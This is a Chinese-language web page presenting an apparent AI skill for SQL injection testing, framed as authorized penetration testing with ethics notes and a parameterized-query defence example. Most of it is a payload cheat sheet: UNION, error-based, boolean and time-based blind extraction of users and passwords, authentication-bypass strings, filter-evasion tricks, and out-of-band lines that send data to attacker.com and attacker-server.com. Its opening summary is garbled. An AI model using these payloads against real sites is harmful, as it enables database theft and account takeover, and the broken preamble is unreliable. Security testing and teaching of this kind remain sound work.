SQL Injection Testing

Polar Sponsor
爱发电 赞助
.NET 9.0

执行授权安全测试,检测、利用并验证Web应用程序中的SQL注入漏洞防御。

SQL 注射测试

功能概述

SQL 注射测试是一项面向实际任务的技能,主要用于网络应用综合SQL注入脆弱性评估技术, 包括检测、开发、和防御验证;Description:1.;

核心要点

  • Ohen:1.;
  • Testin。
  • 它将相关步骤、工具调用和结果整理方式集中到统一流程中,帮助使用者更快完成目标并减少重复操作。

使用与执行

使用时应结合输入条件选择合适的执行方式,核对必要参数、依赖环境与输出内容,并按原始要求处理异常情况。该技能适合需要稳定复用相关能力的场景,可作为自动化工作流的一部分,也便于后续检查、调整和扩展。从功能定位来看,该技能强调把分散的操作要求整理成清晰、可复用的处理流程,使用户能够围绕既定目标快速准备输入、选择执行方式并获得结构化结果。

结果检查与注意事项

实际使用前应先确认任务范围、数据来源、运行环境、必要权限和关键参数,再依据技能说明逐步执行;若输入条件不完整,应先补齐信息或采用保守配置,避免因错误假设导致结果偏离需求。执行过程中需要关注工具调用是否成功、接口或依赖是否可用、输出格式是否符合预期,并对异常提示、缺失字段和边界情况进行处理;涉及批量任务时,还应保存进度,避免中断后重复操作。

SQL 注入测试

面向 Web 应用程序的全面 SQL 注入漏洞评估技术,涵盖检测、利用与防御有效性验证。

说明

适用场景:

  • 测试 SQL 注入漏洞
  • 执行已获授权的渗透测试
  • 验证输入净化机制的有效性
  • 为安全测试绕过身份认证
  • 提取数据库信息(仅限已获授权)
  • 学习 SQL 注入防御方法

禁止使用场景:

  • 未获得书面授权即开展测试
  • 在承载真实用户数据的生产系统上进行测试
  • 测试意图具有恶意性质(切勿作恶)

⚠️ 法律要求:使用前必须取得书面形式的渗透测试授权。

检测阶段

注入点识别

常见可注入参数:

URL 参数:    ?id=1, ?user=admin, ?category=books
表单字段:   username, password, search, comments
Cookie:       session_id, user_preference
HTTP 请求头:  User-Agent, Referer, X-Forwarded-For

基础漏洞测试

-- 单引号测试
'

-- 双引号测试
"

-- 注释序列
--
#
/**/

-- 分号用于查询堆叠
;

需关注现象:

  • 数据库错误信息
  • HTTP 500 错误
  • 响应内容或长度异常变化
  • 非预期的行为变更

布尔逻辑测试

-- 真值条件(应返回数据)
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- 假值条件(应无返回或报错)
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

对比真/假条件下的响应差异,以确认注入是否成功。

利用技术

基于 UNION 的数据提取

-- 步骤 1:确定列数
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- 持续递增直至出现错误

-- 步骤 2:定位可显示列
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- 步骤 3:提取数据
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

基于错误的信息提取

-- MSSQL
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL(XPATH)
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL
1' AND 1=CAST((SELECT version()) AS int)--

基于布尔逻辑的盲注

-- 字符逐位提取
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- 条件响应判断
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

基于时间的盲注

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

带外信道(OOB)利用

-- MSSQL DNS 数据回传
1; EXEC master..xp_dirtree '\attacker-server.comshare'--

-- MySQL DNS
1' UNION SELECT LOAD_FILE(CONCAT('\\',@@version,'.attacker.com\a'))--

-- Oracle HTTP 回传
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

身份认证绕过

-- 经典绕过载荷
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- 查询语句变形示例
-- 原始语句:SELECT * FROM users WHERE username='input' AND password='input'
-- 注入后(用户名输入 admin'--):
-- SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- 密码校验被绕过!

过滤绕过技术

字符编码

-- URL 编码
%27 (单引号)
%22 (双引号)
%23 (井号)

-- 双重 URL 编码
%2527 (单引号)

-- 十六进制字符串(MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin'

空白符替代方案

-- 使用注释替代空格
SELECT/**/username/**/FROM/**/users

-- 制表符(Tab)
SELECT%09username%09FROM%09users

-- 换行符
SELECT%0Ausername%0AFROM%0Ausers

关键字规避

-- 大小写混用
SeLeCt, sElEcT, SELECT

-- 内联注释插入
SEL/*bypass*/ECT
UN/*bypass*/ION

-- 重复书写(适用于仅过滤一次的场景)
SELSELECTECT → SELECT
UNUNIONION → UNION

数据库指纹识别

数据库 版本查询语句
MySQL SELECT @@version 或 SELECT version()
MSSQL SELECT @@version
PostgreSQL SELECT version()
Oracle SELECT banner FROM v$version
SQLite SELECT sqlite_version()

信息模式查询

-- MySQL/MSSQL:列出表名
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- 列出字段名
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle 等效语句
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

速查参考

用途 载荷
基础测试 ' 或 "
布尔真值 OR 1=1--
布尔假值 AND 1=2--
注释(MySQL) # 或 --
注释(MSSQL) --
UNION 探测 UNION SELECT NULL--
时间延迟 AND SLEEP(5)--
认证绕过 ' OR '1'='1

检测测试流程

1. 插入 ' → 检查是否报错
2. 插入 " → 检查是否报错
3. 尝试:OR 1=1-- → 检查行为是否变化
4. 尝试:AND 1=2-- → 检查行为是否变化
5. 尝试:' WAITFOR DELAY '0:0:5'-- → 检查是否存在延迟

防护措施(代码审查要点)

❌ 存在漏洞

const query = `SELECT * FROM users WHERE id = '${userId}'`;

✅ 安全做法

// 使用参数化查询
const query = 'SELECT * FROM users WHERE id = $1';
const result = await db.query(query, [userId]);

// 或使用 ORM
const user = await prisma.user.findUnique({ where: { id: userId } });

工具

  • SQLMap:自动化 SQL 注入工具
  • Burp Suite:HTTP 请求操控与分析工具
  • OWASP ZAP:Web 应用程序安全扫描器
  • Havij:SQL 注入辅助工具

故障排查

问题 解决方案
未返回错误信息 改用盲注技术(布尔型或时间型)
UNION 查询失败 使用 ORDER BY 确认目标列数
被 WAF 拦截 采用编码或规避技术
载荷未执行 核实当前数据库类型所支持的注释语法
时间型盲注响应不稳定 延长延迟时间(建议 ≥10 秒)

道德规范

  • 未经明确书面授权,严禁执行破坏性操作(如 DROP、DELETE 等)
  • 数据提取范围应严格限制于概念验证所需最小量级
  • 一旦发现生产环境中的真实用户数据,须立即中止测试
  • 关键漏洞须通过双方约定的正式渠道及时上报
  • 完整记录所有测试活动,确保可追溯、可审计

相关专题

更多
Postman身份认证怎么配置
Postman身份认证怎么配置

本专题从实际API接口调试场景出发,讲解Postman身份认证的完整配置流程,包括常见认证协议介绍、授权参数设置、访问令牌填写、OAuth 2.0授权及认证失败排查,帮助用户正确完成接口授权与访问验证。

2026.11.06

0

12

Postman请求头Headers怎么设置
Postman请求头Headers怎么设置

围绕Postman HTTP请求头配置展开,讲解Headers选项的具体使用方式,包括Key和Value参数填写、请求头信息添加、常见Header字段设置及请求头修改方法,帮助用户解决接口调试过程中遇到的请求头配置问题。

2026.11.06

0

13

Postman接口请求发送教程
Postman接口请求发送教程

详细介绍Postman接口请求的创建与发送方法,涵盖GET和POST请求、URL配置、请求参数、Headers请求头、Body请求体设置以及响应结果查看,帮助用户掌握Postman接口请求的完整操作流程。

2026.11.06

0

10

DBeaver怎么导入数据
DBeaver怎么导入数据

DBeaver数据导入专题,整理Excel、CSV、SQL、TXT等常见文件的数据导入方法,涵盖目标数据库选择、数据表创建、字段映射、数据类型设置及导入参数配置等操作,帮助用户将本地文件中的数据写入数据库,并了解批量导入、重复数据处理和导入失败等常见问题的解决方法。

2026.11.05

0

12

DBeaver安全防护教程大全
DBeaver安全防护教程大全

DBeaver安全防护专题,围绕数据库连接安全、账号密码保护和访问权限管理展开,整理SSL/TLS加密连接、SSH隧道、数据库凭据保存及证书验证等配置方法,同时介绍敏感信息保护、远程连接风险和高权限账号使用等注意事项,帮助用户提高数据库日常管理的安全性。

2026.11.05

0

12

DBeaver连接创建与配置教程
DBeaver连接创建与配置教程

本专题聚焦DBeaver数据库连接配置与管理,覆盖从新建连接、选择数据库类型到填写连接参数和验证连接的完整流程。针对MySQL、PostgreSQL、SQL Server等常见数据库,整理相应的连接设置方法,并提供驱动缺失、认证失败和连接异常等问题的排查方向。

2026.11.04

0

16

XORM框架结构体映射与表结构同步
XORM框架结构体映射与表结构同步

本专题围绕XORM框架的结构体映射展开,说明表名与字段的命名策略、xorm标签常用属性、主键自增与时间字段自动填充,并演示Sync2自动建表、增量字段升级、索引声明与反向生成结构体的完整流程。

2026.11.04

0

15

XORM框架安装配置与数据库连接
XORM框架安装配置与数据库连接

本专题聚焦XORM框架的配置与连接环节,拆解MySQL、PostgreSQL、SQLite、SQL Server的DSN写法与驱动选择,讲清连接池参数、多数据源拆分、读写分离与超时重连的处理方式,并补充容器与兼容数据库的适配经验。

2026.11.04

0

15

XORM框架安装配置与数据库连接
XORM框架安装配置与数据库连接

本专题聚焦XORM框架的配置与连接环节,拆解MySQL、PostgreSQL、SQLite、SQL Server的DSN写法与驱动选择,讲清连接池参数、多数据源拆分、读写分离与超时重连的处理方式,并补充容器与兼容数据库的适配经验。

2026.11.04

0

16

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
热门推荐
/
最新课程
phpStudy极速入门视频教程
phpStudy极速入门视频教程

共6课时 | 54.7万人学习

独孤九贱(4)_PHP视频教程
独孤九贱(4)_PHP视频教程

共89课时 | 134.1万人学习